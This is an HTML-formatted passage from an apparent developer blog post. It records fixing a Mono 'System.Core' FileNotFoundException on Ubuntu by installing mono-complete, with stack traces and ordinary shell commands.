&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9aa-18dd-5d53-a4986e9bcfbb&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;i&gt;sudo sh -c &#39;for dir in v*; do mv &quot;$dir&quot; &quot;${dir#v}-api&quot;; done&#39;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9aa-18dd-5d53-a4986e9bcfbb&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9aa-18dd-5d53-a4986e9bcfbb&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9aa-18dd-5d53-a4986e9bcfbb&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9aa-18dd-5d53-a4986e9bcfbb&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Build successful! That doesn&#39;t mean it will run and indeed it didn&#39;t.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9aa-18dd-5d53-a4986e9bcfbb&quot;&gt;
&lt;/span&gt;
&lt;div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9aa-18dd-5d53-a4986e9bcfbb&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;First error:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9aa-18dd-5d53-a4986e9bcfbb&quot;&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt;Running: bin/Release/net46/CoreThrower.exe&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt;Unhandled Exception:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt;System.IO.FileNotFoundException: Could not load file or assembly &#39;System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089&#39; or one of its dependencies.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt;File name: &#39;System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089&#39;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt;&amp;nbsp; at System.Runtime.CompilerServices.AsyncMethodBuilderCore.Start[TStateMachine] (System.Runtime.CompilerServices.TStateMachine&amp;amp; stateMachine) &amp;lt;0x7ffc1650 + 0x0010f&amp;gt; in &amp;lt;filename unknown&amp;gt;:0&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt;&amp;nbsp; at System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1[TResult].Start[TStateMachine] (System.Runtime.CompilerServices.TStateMachine&amp;amp; stateMachine) &amp;lt;0x7ffc1610 + 0x00019&amp;gt; in &amp;lt;filename unknown&amp;gt;:0&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt;&amp;nbsp; at System.Runtime.CompilerServices.AsyncTaskMethodBuilder.Start[TStateMachine] (System.Runtime.CompilerServices.TStateMachine&amp;amp; stateMachine) &amp;lt;0x7ffc15e0 + 0x00019&amp;gt; in &amp;lt;filename unknown&amp;gt;:0&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt;&amp;nbsp; at CoreThrower.Program.Main (System.String[] args) &amp;lt;0x7ffc1080 + 0x001db&amp;gt; in &amp;lt;filename unknown&amp;gt;:0&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt;&amp;nbsp; at CoreThrower.Program.&amp;lt;Main&amp;gt; (System.String[] args) &amp;lt;0x7ffc0f10 + 0x0001b&amp;gt; in &amp;lt;filename unknown&amp;gt;:0&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt;[ERROR] FATAL UNHANDLED EXCEPTION: System.IO.FileNotFoundException: Could not load file or assembly &#39;System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089&#39; or one of its dependencies.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt;File name: &#39;System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089&#39;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt;&amp;nbsp; at System.Runtime.CompilerServices.AsyncMethodBuilderCore.Start[TStateMachine] (System.Runtime.CompilerServices.TStateMachine&amp;amp; stateMachine) &amp;lt;0x7ffc1650 + 0x0010f&amp;gt; in &amp;lt;filename unknown&amp;gt;:0&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt;&amp;nbsp; at System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1[TResult].Start[TStateMachine] (System.Runtime.CompilerServices.TStateMachine&amp;amp; stateMachine) &amp;lt;0x7ffc1610 + 0x00019&amp;gt; in &amp;lt;filename unknown&amp;gt;:0&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt;&amp;nbsp; at System.Runtime.CompilerServices.AsyncTaskMethodBuilder.Start[TStateMachine] (System.Runtime.CompilerServices.TStateMachine&amp;amp; stateMachine) &amp;lt;0x7ffc15e0 + 0x00019&amp;gt; in &amp;lt;filename unknown&amp;gt;:0&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt;&amp;nbsp; at CoreThrower.Program.Main (System.String[] args) &amp;lt;0x7ffc1080 + 0x001db&amp;gt; in &amp;lt;filename unknown&amp;gt;:0&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt;&amp;nbsp; at CoreThrower.Program.&amp;lt;Main&amp;gt; (System.String[] args) &amp;lt;0x7ffc0f10 + 0x0001b&amp;gt; in &amp;lt;filename unknown&amp;gt;:0&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #1155cc; font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;a href=&quot;https://github.com/KSP-CKAN/CKAN/issues/1871#issuecomment-241216399&quot;&gt;The first thread I found on the topic pointed out&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;a href=&quot;https://github.com/KSP-CKAN/CKAN/issues/1871#issuecomment-241216399&quot;&gt; &lt;/a&gt;that I need to have &lt;/span&gt;&lt;a href=&quot;https://packages.ubuntu.com/xenial/libmono-system-core4.0-cil&quot; style=&quot;text-decoration-line: none;&quot;&gt;&lt;span style=&quot;color: #1155cc; font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;libmoono-system-core4.0-cil&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; installed. 30 seconds later I was running it again:&lt;/span&gt;&lt;/div&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9ad-1e20-24cb-3a09c2bc45d6&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9ad-1e20-24cb-3a09c2bc45d6&quot;&gt;&lt;span style=&quot;font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt;Running: bin/Release/net46/CoreTh&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9ad-1e20-24cb-3a09c2bc45d6&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9ad-1e20-24cb-3a09c2bc45d6&quot;&gt;&lt;span style=&quot;font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt;rower.exe&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9ad-1e20-24cb-3a09c2bc45d6&quot;&gt;
&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9ad-1e20-24cb-3a09c2bc45d6&quot;&gt;&lt;span style=&quot;font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt;Unhandled Exception:&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9ad-1e20-24cb-3a09c2bc45d6&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9ad-1e20-24cb-3a09c2bc45d6&quot;&gt;&lt;span style=&quot;font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt;System.IO.FileNotFoundException: Could not load file or assembly &#39;System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089&#39; or one of its dependencies.&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9ad-1e20-24cb-3a09c2bc45d6&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9ad-1e20-24cb-3a09c2bc45d6&quot;&gt;&lt;span style=&quot;font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt;File name: &#39;System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089&#39;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9ad-1e20-24cb-3a09c2bc45d6&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9ad-1e20-24cb-3a09c2bc45d6&quot;&gt;&lt;span style=&quot;font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt; &amp;nbsp;at System.Runtime.CompilerServices.AsyncMethodBuilderCore.Start[TStateMachine] (System.Runtime.CompilerServices.TStateMachine&amp;amp; stateMachine) &amp;lt;0x7ffc1650 + 0x0010f&amp;gt; in &amp;lt;filename unknown&amp;gt;:0&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9ad-1e20-24cb-3a09c2bc45d6&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9ad-1e20-24cb-3a09c2bc45d6&quot;&gt;&lt;span style=&quot;font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt; &amp;nbsp;at System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1[TResult].Start[TStateMachine] (System.Runtime.CompilerServices.TStateMachine&amp;amp; stateMachine) &amp;lt;0x7ffc1610 + 0x00019&amp;gt; in &amp;lt;filename unknown&amp;gt;:0&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9ad-1e20-24cb-3a09c2bc45d6&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9ad-1e20-24cb-3a09c2bc45d6&quot;&gt;&lt;span style=&quot;font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt; &amp;nbsp;at System.Runtime.CompilerServices.AsyncTaskMethodBuilder.Start[TStateMachine] (System.Runtime.CompilerServices.TStateMachine&amp;amp; stateMachine) &amp;lt;0x7ffc15e0 + 0x00019&amp;gt; in &amp;lt;filename unknown&amp;gt;:0&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9ad-1e20-24cb-3a09c2bc45d6&quot;&gt;
&lt;/span&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9ad-1e20-24cb-3a09c2bc45d6&quot;&gt;&lt;span style=&quot;font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt; &amp;nbsp;at CoreThrower.Program.Main (System.String[] args) &amp;lt;0x7ffc1080 + 0x001db&amp;gt; in &amp;lt;filename unknown&amp;gt;:0&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;docs-internal-guid-5b55a8e5-c9ad-1e20-24cb-3a09c2bc45d6&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span style=&quot;font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt; &amp;nbsp;at CoreThrower.Program.&amp;lt;Main&amp;gt; (System.String[] args) &amp;lt;0x7ffc0f10 + 0x0001b&amp;gt; in &amp;lt;filename unknown&amp;gt;:0&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span style=&quot;font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt;[ERROR] FATAL UNHANDLED EXCEPTION: System.IO.FileNotFoundException: Could not load file or assembly &#39;System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089&#39; or one of its dependencies.&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span style=&quot;font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt;File name: &#39;System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089&#39;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span style=&quot;font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt; &amp;nbsp;at System.Runtime.CompilerServices.AsyncMethodBuilderCore.Start[TStateMachine] (System.Runtime.CompilerServices.TStateMachine&amp;amp; stateMachine) &amp;lt;0x7ffc1650 + 0x0010f&amp;gt; in &amp;lt;filename unknown&amp;gt;:0&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span style=&quot;font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt; &amp;nbsp;at System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1[TResult].Start[TStateMachine] (System.Runtime.CompilerServices.TStateMachine&amp;amp; stateMachine) &amp;lt;0x7ffc1610 + 0x00019&amp;gt; in &amp;lt;filename unknown&amp;gt;:0&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span style=&quot;font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt; &amp;nbsp;at System.Runtime.CompilerServices.AsyncTaskMethodBuilder.Start[TStateMachine] (System.Runtime.CompilerServices.TStateMachine&amp;amp; stateMachine) &amp;lt;0x7ffc15e0 + 0x00019&amp;gt; in &amp;lt;filename unknown&amp;gt;:0&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span style=&quot;font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt; &amp;nbsp;at CoreThrower.Program.Main (System.String[] args) &amp;lt;0x7ffc1080 + 0x001db&amp;gt; in &amp;lt;filename unknown&amp;gt;:0&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;
&lt;span style=&quot;font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif; font-size: xx-small;&quot;&gt; &amp;nbsp;at CoreThrower.Program.&amp;lt;Main&amp;gt; (System.String[] args) &amp;lt;0x7ffc0f10 + 0x0001b&amp;gt; in &amp;lt;filename unknown&amp;gt;:0&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;As pointed out further down in the same thread I linked above, mono-complete does the job:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14.6667px; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot;;&quot;&gt;&lt;i&gt;sudo apt-get install mono-complete&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;Setting up mono-complete (4.2.1.102+dfsg2-7ubuntu4) ...&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
Wait, what? Mono 4.2? I didn&#39;t change any of Ubuntu&#39;s package feed I don&#39;t think, did it just downgrade from 4.6.2 to 4.2.1?&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;i&gt;Mono JIT compiler version 4.2.1 (Debian 4.2.1.102+dfsg2-7ubuntu4)&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;Copyright (C) 2002-2014 Novell, Inc, Xamarin Inc and Contributors. www.mono-project.com&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; TLS:&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__thread&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; SIGSEGV:&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;altstack&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Notifications: epoll&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Architecture:&amp;nbsp; amd64&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Disabled:&amp;nbsp; &amp;nbsp; &amp;nbsp; none&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Misc:&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; softdebug&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; LLVM:&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; supported, not enabled.&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; GC:&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; sgen&lt;/i&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
It looks like it did and if I now: &lt;i&gt;./run.sh&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
Finally, it works!&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
At &lt;a href=&quot;https://sentry.io/&quot;&gt;sentry.io&lt;/a&gt; I see:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
